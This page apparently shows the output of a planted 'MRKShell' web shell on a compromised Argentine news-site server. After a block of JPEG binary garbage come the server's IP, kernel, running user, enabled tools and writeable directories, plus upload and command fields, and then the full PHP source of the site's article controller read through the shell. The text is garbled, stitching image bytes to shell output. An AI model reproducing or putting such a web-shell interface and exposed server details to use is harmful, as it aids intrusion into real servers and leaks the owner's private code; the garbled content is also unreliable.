JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 104.23.243.234
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/controllers//nota.php
<?php

class Nota extends MY_Controller {

    function __construct() {
        parent::__construct();
    }

    public function test() {
        $this->load->view("nota");
    }

    public function adm($hash) {
        $nota_id = base64_decode($hash);
        $nota_id = str_replace('nota_', '', $nota_id);
        $this->ver_nota($nota_id, '', '', 1);
    }

    public function ver_nota($nota_id = "", $seccion_url = "", $sd_id = 0, $test = 0) {
        $tiempo_expiracion = 3600;
        $this->load->library('memcached_library');
        $this->load->library('varios_library');

        $this->load->model("tag", "tag", true);
        $this->load->model("nota_modelo", "nota_modelo", true);

        if ($nota_id == 0 && $seccion_url == 'somos_deporte' && $sd_id <> 0) {
            $nota_sd = $this->memcached_library->get('nota_sd_' . $sd_id);
            if (!$nota_sd) {
                $nota_sd = $this->nota_modelo->traer_id_nota($sd_id);
                $this->memcached_library->add('nota_sd_' . $sd_id, $nota_sd, $tiempo_expiracion);
            }
            $nota_id = $nota_sd;
            $seccion_url = '';
        }

        if ($nota_id == "") {
            header("location: " . site_url(""));
            die();
        }

        //$edicion_info = $this->_edicion_publicada();
        $variables['edicion_publicada'] = $edicion_info;
        $edicion_actual = $edicion_info['id'];
        $fecha_edicion_actual = $edicion_info['fecha'];

        $nota_principal = $this->memcached_library->get('nota_' . $nota_id);
        if (!$nota_principal) {
            $nota_principal = $this->nota_modelo->traer_datos_nota($nota_id, $test);
            if ($nota_principal) {
                if ($nota_principal['edicion_id'] == $edicion_actual and $nota_principal['um'] == 1)
                    $nota_principal['fecha_mostrar'] = "Hoy " . $nota_principal['hora'];
                else
                    $nota_principal['fecha_mostrar'] = $nota_principal['fecha_edicion'];
                $this->memcached_library->add('nota_' . $nota_id, $nota_principal, $tiempo_expiracion);
            }
        }
        $variables['nota'] = $nota_principal;

        if ($variables['nota']) {
            if ($variables['nota']['seccion']) {
                $paso_por_sec = 0;
                $paso_por_sec_temp = 0;
                foreach ($variables['nota']['seccion'] as $sec_nota) {
                    if ($paso_por_sec_temp == 0) {
                        $temp_sec = $sec_nota;
                        $paso_por_sec_temp = 1;
                    }
                    $sec_nom = $this->varios_library->limpiarurl($sec_nota['nombre']);
                    if ($sec_nom == $seccion_url) {
                        $variables['nota']['seccion_info'] = array();
                        $variables['nota']['seccion_info']['nombre'] = $sec_nota['nombre'];
                        $variables['nota']['seccion_info']['nombre_url'] = $sec_nom;
                        $variables['nota']['seccion_info']['id'] = $sec_nota['id'];
                        $variables['nota']['seccion_info']['template'] = trim($sec_nota['template']);
                        $paso_por_sec = 1;
                    }
                }
                if ($paso_por_sec == 0) {
                    $variables['nota']['seccion_info'] = array();
                    $variables['nota']['seccion_info']['nombre'] = $temp_sec['nombre'];
                    $variables['nota']['seccion_info']['nombre_url'] = $this->varios_library->limpiarurl($temp_sec['nombre']);
                    $variables['nota']['seccion_info']['id'] = $temp_sec['id'];
                    $variables['nota']['seccion_info']['template'] = trim($temp_sec['template']);
                }
            } else {
                //parche provisorio
                $variables['nota']['seccion_info'] = array();
                $variables['nota']['seccion_info']['nombre'] = 'Locales';
                $variables['nota']['seccion_info']['nombre_url'] = $this->varios_library->limpiarurl('locales');
                $variables['nota']['seccion_info']['id'] = 13;
                $variables['nota']['seccion_info']['template'] = '2011';
                //header("location: ".site_url("home/index"));
            }

            $tag_id = $variables['nota']['seccion_info']['id'];

            $datos_tag = $this->memcached_library->get("info_tag_" . $tag_id);
            if (!$datos_tag) {
                $datos_tag = $this->tag->dameTag($tag_id);
                $this->memcached_library->add('info_tag_' . $tag_id, $datos_tag, 3600);
            }
            $variables['seccion'] = $datos_tag;
        }

        //Si la nota fue encontrada, obtengo el resto
        if ($variables['nota']) {
            //Notas relacionadas
            // $vrelac_notas = $this->memcached_library->get('nota_' . $nota_id . '_notas');
            // if (!$vrelac_notas) {
            //     $vrelac_notas = $this->nota_modelo->dameNotasRelacionadasConFoto($nota_id);
            //     if (!$vrelac_notas)
            //         $vrelac_notas = "vacio";
            //     $this->memcached_library->add('nota_' . $nota_id . '_notas', $vrelac_notas, $tiempo_expiracion);
            // }
            // $variables['nota']['notas_relacionadas'] = $vrelac_notas;
			
			$vrelac_notas = $this->memcached_library->get('nota_' . $nota_id . '_notas_intext');
                    if (!$vrelac_notas) {
                        $vrelac_notas = $this->nota_modelo->dameRelacionasSimples($nota_id,2);
                        if (!$vrelac_notas)
                            $vrelac_notas = "vacio";
                        $this->memcached_library->add('nota_' . $nota_id . '_notas_intext', $vrelac_notas, $tiempo_expiracion);
                    }
                    $variables['nota']['notas_asociadas'] = $vrelac_notas;

            //Cantidad de fotos de la nota y foto destacada
            $foto = $this->memcached_library->get('nota_' . $nota_id . '_fotos');
            if (!$foto) {
                $this->load->model("foto_modelo", "foto", true);
                $foto = $this->foto->dameFotoNota($nota_id);
                $this->memcached_library->add('nota_' . $nota_id . '_fotos', $foto, $tiempo_expiracion);
            }
            $variables['nota']['foto'] = $foto;
            

            // modulo de videos relacionados a la nota principal
            $vrelac_videos = $this->memcached_library->get('nota_' . $nota_id . '_videos');
            if (!$vrelac_videos) {
                $this->load->model("video", "video", true);
                $vrelac_videos = $this->video->dameVideosNota($nota_id);
                if (!$vrelac_videos)
                    $vrelac_videos = "vacio";
                $this->memcached_library->add('nota_' . $nota_id . '_videos', $vrelac_videos, $tiempo_expiracion);
            }
            $variables['nota']['videos'] = $vrelac_videos;

            // modulo de cajas de twitter relacionados a la nota principal

            $vrelac_twitter = $this->memcached_library->get('nota_' . $nota_id . '_twitter');
            if (!$vrelac_twitter) {
                $this->load->model("twitter_modelo", "twitter", true);
                $vrelac_twitter = $this->twitter->dameTwitterNota($nota_id);
                if (!$vrelac_twitter)
                    $vrelac_twitter = "vacio";
                $this->memcached_library->add('nota_' . $nota_id . '_twitter', $vrelac_twitter, $tiempo_expiracion);
            }
            $variables['nota']['cajas_twitter'] = $vrelac_twitter;

            // modulo de mapas de google relacionados a la nota principal
            $vrelac_mapas = $this->memcached_library->get('nota_' . $nota_id . '_mapas');
            if (!$vrelac_mapas) {
                $this->load->model("mapa", "mapa", true);
                $vrelac_mapas = $this->mapa->dameMapasNota($nota_id);
                if (!$vrelac_mapas)
                    $vrelac_mapas = "vacio";
                $this->memcached_library->add('nota_' . $nota_id . '_mapas', $vrelac_mapas, $tiempo_expiracion);
            }
            $variables['nota']['mapas'] = $vrelac_mapas;

            // modulo de adjuntos relacionados a la nota principal
            $vrelac_adjuntos = $this->memcached_library->get('nota_' . $nota_id . '_adjuntos');
            if (!$vrelac_adjuntos) {
                $this->load->model("adjunto", "adjunto", true);
                $vrelac_adjuntos = $this->adjunto->dameAdjuntosNota($nota_id);
                if (!$vrelac_adjuntos)
                    $vrelac_adjuntos = "vacio";
                $this->memcached_library->add('nota_' . $nota_id . '_adjuntos', $vrelac_adjuntos, $tiempo_expiracion);
            }
            $variables['nota']['adjuntos'] = $vrelac_adjuntos;

            // modulo de encuestas relacionadas a la nota principal
            $vrelac_encuestas = $this->memcached_library->get('nota_' . $nota_id . '_encuestas');
            if (!$vrelac_encuestas) {
                $this->load->model("encuesta", "encuesta", true);
                $vrelac_encuestas = $this->encuesta->dameEncuestasNota($nota_id);
                if (!$vrelac_encuestas)
                    $vrelac_encuestas = "vacio";
                $this->memcached_library->add('nota_' . $nota_id . '_encuestas', $vrelac_encuestas, $tiempo_expiracion);
            }
            $variables['nota']['encuestas'] = $vrelac_encuestas;

            // modulo de periodistas relacionados a la nota principal
            $vrelac_periodistas = $this->memcached_library->get('nota_' . $nota_id . '_periodistas');
            if (!$vrelac_periodistas) {
                $this->load->model("usuario", "periodista", true);
                $vrelac_periodistas = $this->periodista->obtenerPeriodistaNota($nota_id);
                if (!$vrelac_periodistas)
                    $vrelac_periodistas = "vacio";
                $this->memcached_library->add('nota_' . $nota_id . '_periodistas', $vrelac_periodistas, $tiempo_expiracion);
            }
            $variables['nota']['periodista'] = $vrelac_periodistas;

            // modulo de galerias relacionadas a la nota principal
            $vrelac_galerias = $this->memcached_library->get('nota_' . $nota_id . '_galerias');
            if (!$vrelac_galerias) {
                $this->load->model("galeria", "galeria", true);
                $vrelac_galerias = $this->galeria->dameGaleriasNota_v2($nota_id);
                if (!$vrelac_galerias)
                    $vrelac_galerias = "vacio";
                $this->memcached_library->add('nota_' . $nota_id . '_galerias', $vrelac_galerias, $tiempo_expiracion);
            }
            $variables['nota']['galerias'] = $vrelac_galerias;

            // modulo de eventos relacionados a la nota principal
            $vrelac_evento = $this->memcached_library->get('nota_' . $nota_id . '_evento');
            if (!$vrelac_evento) {
                $this->load->model("evento", "evento", true);
                $vrelac_evento = $this->evento->getEventoNota($nota_id);
                if (!$vrelac_evento)
                    $vrelac_evento = "vacio";
                $this->memcached_library->add('nota_' . $nota_id . '_evento', $vrelac_evento, $tiempo_expiracion);
            }
            $variables['nota']['evento'] = $vrelac_evento;

            // modulo de lugares relacionados a la nota principal
            $vrelac_lugares = $this->memcached_library->get('nota_' . $nota_id . '_lugares');
            if (!$vrelac_lugares) {
                $this->load->model("evento", "evento", true);
                $vrelac_lugares = $this->evento->getLugares();
                if (!$vrelac_lugares)
                    $vrelac_lugares = "vacio";
                $this->memcached_library->add('nota_' . $nota_id . '_lugares', $vrelac_lugares, $tiempo_expiracion);
            }
            $variables['nota']['lugares'] = $vrelac_lugares;

            $user = $this->session->userdata('usuario');
            $variables['usuario'] = $user;

            $variables['title'] = $variables['nota']['titulo']/* ." - ".NOMBRE_SITIO */;
            if ($this->varios_library->isMovil()) {
                $variables['title'] = $variables['title'];
            }
            if ($variables['nota']['sumario'] != "") {
                $variables['meta_descrip'] = str_replace('“', "&quot;", $variables['nota']['sumario']);
                $variables['meta_descrip'] = str_replace('”', "&quot;", $variables['meta_descrip']);
                $variables['meta_descrip'] = str_replace('"', "&quot;", $variables['meta_descrip']);
                $variables['meta_descrip'] = str_replace("'", "&#39;", $variables['meta_descrip'] );
            } else {
                $suamrio_para_fb = $this->varios_library->cortar_texto(strip_tags($variables['nota']['texto']), 120, " ");
                $variables['meta_descrip'] = str_replace('“', "&quot;", $suamrio_para_fb);
                $variables['meta_descrip'] = str_replace('”', "&quot;", $variables['meta_descrip']);
                $variables['meta_descrip'] = str_replace('"', "&quot;", $variables['meta_descrip']);
                $variables['meta_descrip'] = str_replace("'", "&#39;", $variables['meta_descrip'] );
            }
            
            $variables['meta_key'] = 'Tucumán';
    
            if ($variables['nota']['tags'] and is_array($variables['nota']['tags'])) {
                $keywords_faltantes = 9 - count($variables['nota']['tags']);

                foreach($variables['nota']['tags'] as $t) {
                    $variables['meta_key'] .= "," . $t['nombre'];
                } 
                if($keywords_faltantes > 0 ){
                    
                    $titulo_key = explode("-", $variables['nota']['url']); 
                    $cont=0;
                   foreach($titulo_key as $kw){
                       if($cont < $keywords_faltantes){
                            $variables['meta_key'] .= "," . $kw;
                            $cont++;
                       }else{break;}
                   }
                } 
               
            } else {
                $symbols= array("¡","!","?","¿",'"','“','”',"'",".",":");
                $titulo_key = str_replace($symbols, "", $variables['nota']['titulo']);
                $titulo_key = str_replace(" ", ",", $titulo_key);
                $titulo_key = explode(",", $titulo_key); 
                $cont=0;
                foreach($titulo_key as $kw){
                    if($cont < 9){
                        $variables['meta_key']  .= "," . $kw;
                        $cont++;
                    }else{ break;}
                }
            }         
            $variables['meta_key'] .= ', '.$variables['nota']['seccion_info']['nombre'] . ", " . NOMBRE_SITIO;
            // $variables['js_key'] = str_replace(',', '","',$variables['meta_key']);   




            

            $variables['href_canonical'] = $this->varios_library->generar_url(32, $nota_id, $variables['nota']['titulo'], $variables['nota']['seccion_info']['nombre_url']);

            // $variables['href_amphtml'] = site_url("amp/noticia/" . $variables['nota']['seccion_info']['nombre_url'] . "/" . $nota_id . "/" . $this->varios_library->limpiarurl($variables['nota']['titulo']));

            // $variables['href_fbhtml'] = site_url("noticia/fb/" . $nota_id . "/" . $this->varios_library->limpiarurl($variables['nota']['titulo']));

            /* IMG de 200 px para compartir en FB */
            if ($variables['nota']['foto'] and isset($variables['nota']['foto'])) {
                if (count($variables['nota']['foto']) > 0) {
                     $variables['imagen_redes'] = $this->varios_library->dameImagenURL($variables['nota']['foto']['ruta'], $variables['nota']['foto']['imagen'], "cache/" . $variables['nota']['foto']['ruta'], 818, 460);
                } else
                    $variables['imagen_redes'] = "";
            }
            /* IMG de 200 px para compartir en FB */

            // Últimas Notas más visitadas
            $variables['edicion_id'] = $edicion_actual;

            /*             * **Comentarios**** */
            //$variables += $this->_dame_comentarios($nota_id, 32, $edicion_info['fecha'], $variables['nota']['fecha_edicion']);


            /* Obtengo banner */
            $variables['banners'] = $this->_dame_banners('nota', $tag_id);
            $variables['ubicacion_banner'] = 'nota';
            /*             * Fin Banners* */

            $variables['is_nota'] = true;
            $skin = "2016/";
            /* if($this->varios_library->isMovil())
              {
              $skin = "mobile/";
              $variables['vista'] = $skin;
              $variables['seccion_id'] = ($datos_tag['padre_id']>0)?$datos_tag['padre_id']:$datos_tag['id'];
              $variables['is_nota']=true;
              $variables['caja_face'] = true;
              $variables['notas_masleidas'] = $this->_masleidas($edicion_actual);
              $this->_visitas($nota_id,1);
              }
              else
              { */

                /* BREVES*/
                
            $breves = $this->memcached_library->get('notas_breve');
                    if (!$breves) {
                        $this->load->model("brevemodel", "brevemodel", true);
                        $breves = $this->brevemodel->getBreves();
                        $this->memcached_library->add('notas_breve', $breves, 600);
                    }
            $variables['breves'] = $breves;

            $variables['notas_masleidas'] = $this->_masleidas($edicion_actual);
            $variables['notas_masleidas_derecha']['notas'] = $this->_masleidas($edicion_actual, $datos_tag['id']);
            if ($variables['notas_masleidas_derecha']['notas']) {
                $variables['notas_masleidas_derecha']['seccion'] = $datos_tag['nombre'];
                $variables['notas_masleidas_derecha']['seccion_color'] = $datos_tag['color'];
            }
            /* } */
            if ($this->varios_library->isMovil())
                $this->_visitas($nota_id, 1);
            else
                $this->_visitas($nota_id);

            $variables['skin'] = $skin;
            $variables['vista'] = $skin;

            $variables['banner_movil'] = '';
            if ($this->varios_library->isMovil()) {
                $variables['banner_movil'] = '_movil';
            }

            //NOTAS RELACIONADAS 
            
            $notas_a_mostrar = $this->memcached_library->get('notas_relacionas'. '_nota_'. $nota_id );
            if(!$notas_a_mostrar) {
                $nro_notas_relacionadas = 3;
                $notas_relacionadas = $this->nota_modelo->dameRelacionasSimples($nota_id, $nro_notas_relacionadas);
                $notas_faltantes = $nro_notas_relacionadas - count($notas_relacionadas);

                if ($notas_faltantes > 0) {
                          
                    $notas_relleno = $this->nota_modelo->dameRellenoSeccion($variables['seccion']['id'], $nota_id, $notas_relacionadas, $notas_faltantes);
                                
                    if (!$notas_relleno){ $notas_relleno = array(); }
                    if($notas_relacionadas){
                        $notas_a_mostrar = array_merge($notas_relacionadas, $notas_relleno);
                    }else {
                        $notas_a_mostrar = $notas_relleno;
                    }
                    
        
                }else {
                    $notas_a_mostrar = $notas_relacionadas;
                }

                $this->memcached_library->add('notas_relacionas'. '_nota_'. $nota_id, $notas_a_mostrar, $tiempo_expiracion);


            }
            

            $variables['notas_mostrarse'] = $notas_a_mostrar;
            

            // $variables['relacionadass'] = $this->nota_modelo->traer_id_notas_scroll($variables['seccion']['id'], $nota_id);

            $this->load->view($skin . "nota", $variables);
        } else
            header("location: " . site_url(""));
    }

    public function ver_nota_amp($nota_id) {
        if (extension_loaded('newrelic')) {
            newrelic_disable_autorum();
            newrelic_ignore_transaction();
        }
        $this->load->library("varios_library");
        $this->load->library("memcached_library");

        $edicion_info = $this->memcached_library->get('edicion_publicada');
        if ($edicion_info) {
            $edicion_actual = $edicion_info['id'];
            $fecha_edicion_actual = $edicion_info['fecha'];
        } else {
            $this->load->model("edicion", "edicion", true);
            $edicion_info = $this->edicion->dameEdicionPublicada();
            $edicion_actual = $edicion_info['id'];
            $fecha_edicion_actual = $edicion_info['fecha'];
            $this->memcached_library->add('edicion_publicada', $edicion_info, 72000);
        }
        $variables['edicion_info'] = $edicion_info;

        if ($nota_id == "" or ! is_numeric($nota_id)) {
            header("location: " . site_url());
            die();
        }

        $nota = $this->memcached_library->get('nota_' . $nota_id);
        if (!$nota) {
            $this->load->model("nota_modelo", "nota_modelo", true);
            $nota = $this->nota_modelo->traer_datos_nota($nota_id);
            if ($nota)
                $nota['fecha_formateada'] = $this->varios_library->fechaDiaLetras($nota['fecha_edicion']);

            $this->memcached_library->add('nota_' . $nota_id, $nota, 3600);
        }
        $variables['nota'] = $nota;

        if ($nota) {
            $tag_id = $nota['seccion'][0]['id'];
            $datos_tag = $this->memcached_library->get("info_tag_" . $tag_id);
            if (!$datos_tag) {
                $this->load->model("tag", "tag", true);
                $datos_tag = $this->tag->dameTag($tag_id);
            }

            $variables['title'] = $variables['nota']['titulo'] . " - " . $datos_tag['nombre'] . " | Comunicación Tucumán";
            if ($variables['nota']['sumario'] != "") {
                $variables['sumario_nota'] = strip_tags($variables['nota']['sumario']);
            } else {
                $suamrio_para_fb = $this->varios_library->cortar_texto(strip_tags($variables['nota']['texto']), 120, " ");
                $variables['sumario_nota'] = $suamrio_para_fb;
            }
            $variables['sumario_nota'] = $datos_tag['nombre'] . " - " . str_replace('"', "", $variables['sumario_nota']);

            $key = str_replace(".html", "", $variables['nota']['url']);
            $key = str_replace("-", " ", $key);
            //Acá van los KEYWORDS NOTA
            $key .= ",El Liberal";
            if ($variables['nota']['tags'] and is_array($variables['nota']['tags'])) {
                foreach ($variables['nota']['tags'] as $t) {
                    $key .= "," . $t['nombre'];
                }
            }
            //$variables['keywords'] = $variables['nota']['seccion_info']['nombre'].",".$key.",El Liberal";
            $variables['keywords'] = $variables['nota']['seccion_info']['nombre'] . "," . $key;
            $variables['keywords'] = str_replace('"', "", $variables['keywords']);

            $fotos_nota = $this->memcached_library->get('nota_' . $nota_id . '_cant_fotos');
            if (!$fotos_nota) {
                $this->load->model("foto_modelo", "foto", true);
                $fotos_nota['cant_fotos'] = $this->foto->dameCantidadFotosNota($nota_id);
                $foto_dest = $this->foto->dameFotoDestacada($nota_id);
                if ($foto_dest) {
                    $fotos_nota['destacada_img'] = $foto_dest['ruta'] . "tmb2_" . $foto_dest['imagen'];
                    $fotos_nota['destacada_epigrafe'] = ($foto_dest['descrip_relacion'] != "") ? $foto_dest['descrip_relacion'] : $foto_dest['descripcion'];
                } else {
                    $fotos_nota['destacada_img'] = "";
                    $fotos_nota['destacada_epigrafe'] = "";
                }

                $this->memcached_library->add('nota_' . $nota_id . '_cant_fotos', $fotos_nota, 3600);
            }
            $variables['nota']['fotos'] = $fotos_nota;


            $videos_nota = $this->memcached_library->get('nota_' . $nota_id . '_videos');
            if (!$videos_nota) {
                $this->load->model("video", "video", true);
                $videos_nota = $this->video->dameVideosNota($nota_id);
                if (!$videos_nota)
                    $videos_nota = "vacio";
                $this->memcached_library->add('nota_' . $nota_id . '_videos', $videos_nota, 3600);
            }
            $variables['nota']['videos'] = $videos_nota;

            $firmas = $this->memcached_library->get('nota_' . $nota_id . '_periodistas');
            if (!$firmas) {
                $this->load->model("usuario", "periodista", true);
                $firmas = $this->periodista->obtenerPeriodistaNota($nota_id);
                if (!$firmas)
                    $firmas = "vacio";
                $this->memcached_library->add('nota_' . $nota_id . '_periodistas', $firmas, 3600);
            }
            $variables['nota']['periodista'] = $firmas;

            $variables['href_canonical'] = site_url() . "noticia/" . $nota_id . "/" . $this->varios_library->limpiarurl($nota['seccion'][0]['nombre']) . "/" . $this->varios_library->limpiarurl($nota['titulo']) . ".html";
            $variables['foto'] = "";

            if ($fotos_nota['destacada_img'] != "") {
                $file = end(explode("/", $fotos_nota['destacada_img']));
                $ruta = str_replace($file, "", $fotos_nota['destacada_img']);
                $file = str_replace("tmb2_", "", $file);
                $file = str_replace("tmb1_", "", $file);
                $variables['strimagen_principal_d'] = $ruta . $file;
                $variables['foto'] = $this->varios_library->dameImagenURL($ruta, $file, "cache/" . $ruta, 700, 380);
            }

            if (isset($nota['fecha_mod'])) {
                $variables['fecha_pub'] = $this->varios_library->transformar_fecha_inversa($nota['fecha_edicion'], '-') . "T" . $nota['hora_alta'] . ":00Z";
                $variables['fecha_mod'] = $this->varios_library->transformar_fecha_inversa($nota['fecha_mod'], '-') . "T" . $nota['hora'] . ":00Z";
            } else {
                $variables['fecha_pub'] = $this->varios_library->transformar_fecha_inversa($nota['fecha_edicion'], '-') . "T" . $nota['hora'] . ":00Z";
                $variables['fecha_mod'] = $this->varios_library->transformar_fecha_inversa($nota['fecha_edicion'], '-') . "T" . $nota['hora'] . ":00Z";
            }

            if ($datos_tag) {
                if ($datos_tag['url'] == "")
                    $datos_tag['url'] = "tags/" . $datos_tag['id'] . "/" . $this->varios_library->limpiarurl($datos_tag['nombre']);
            }

            $variables['seccion'] = $datos_tag;

            /* Obtengo banner */
            $variables['banners'] = $this->_dame_banners('nota', $tag_id);
            $variables['ubicacion_banner'] = 'nota';
            /*             * Fin Banners* */

            $this->load->view("amp/nota", $variables);
        } else
            header("location: " . site_url());
    }

    public function ver_nota_fb($nota_id) {
        if (extension_loaded('newrelic')) {
            newrelic_disable_autorum();
            newrelic_ignore_transaction();
        }
        $this->load->library("varios_library");
        $this->load->library("memcached_library");

        $edicion_info = $this->memcached_library->get('edicion_publicada');
        if ($edicion_info) {
            $edicion_actual = $edicion_info['id'];
            $fecha_edicion_actual = $edicion_info['fecha'];
        } else {
            $this->load->model("edicion", "edicion", true);
            $edicion_info = $this->edicion->dameEdicionPublicada();
            $edicion_actual = $edicion_info['id'];
            $fecha_edicion_actual = $edicion_info['fecha'];
            $this->memcached_library->add('edicion_publicada', $edicion_info, 72000);
        }
        $variables['edicion_info'] = $edicion_info;

        if ($nota_id == "" or ! is_numeric($nota_id)) {
            header("location: " . site_url());
            die();
        }

        $nota = $this->memcached_library->get('nota_' . $nota_id);
        if (!$nota) {
            $this->load->model("nota_modelo", "nota_modelo", true);
            $nota = $this->nota_modelo->traer_datos_nota($nota_id);
            if ($nota)
                $nota['fecha_formateada'] = $this->varios_library->fechaDiaLetras($nota['fecha_edicion']);

            $this->memcached_library->add('nota_' . $nota_id, $nota, 3600);
        }
        $variables['nota'] = $nota;

        if ($nota) {
            $tag_id = $nota['seccion'][0]['id'];
            $datos_tag = $this->memcached_library->get("info_tag_" . $tag_id);
            if (!$datos_tag) {
                $this->load->model("tag", "tag", true);
                $datos_tag = $this->tag->dameTag($tag_id);
            }

            $variables['title'] = $variables['nota']['titulo'] . " - " . $datos_tag['nombre'] . " | Comunicación Tucumán";
            if ($variables['nota']['sumario'] != "") {
                $variables['sumario_nota'] = strip_tags($variables['nota']['sumario']);
            } else {
                $suamrio_para_fb = $this->varios_library->cortar_texto(strip_tags($variables['nota']['texto']), 120, " ");
                $variables['sumario_nota'] = $suamrio_para_fb;
            }
            $variables['sumario_nota'] = $datos_tag['nombre'] . " - " . str_replace('"', "", $variables['sumario_nota']);

            $key = str_replace(".html", "", $variables['nota']['url']);
            $key = str_replace("-", " ", $key);
            //Acá van los KEYWORDS NOTA
            $key .= ",El Liberal";
            if ($variables['nota']['tags'] and is_array($variables['nota']['tags'])) {
                foreach ($variables['nota']['tags'] as $t) {
                    $key .= "," . $t['nombre'];
                }
            }
            //$variables['keywords'] = $variables['nota']['seccion_info']['nombre'].",".$key.",El Liberal";
            $variables['keywords'] = $variables['nota']['seccion_info']['nombre'] . "," . $key;
            $variables['keywords'] = str_replace('"', "", $variables['keywords']);

            $fotos_nota = $this->memcached_library->get('nota_' . $nota_id . '_cant_fotos');
            if (!$fotos_nota) {
                $this->load->model("foto_modelo", "foto", true);
                $fotos_nota['cant_fotos'] = $this->foto->dameCantidadFotosNota($nota_id);
                $foto_dest = $this->foto->dameFotoDestacada($nota_id);
                if ($foto_dest) {
                    $fotos_nota['destacada_img'] = $foto_dest['ruta'] . "tmb2_" . $foto_dest['imagen'];
                    $fotos_nota['destacada_epigrafe'] = ($foto_dest['descrip_relacion'] != "") ? $foto_dest['descrip_relacion'] : $foto_dest['descripcion'];
                } else {
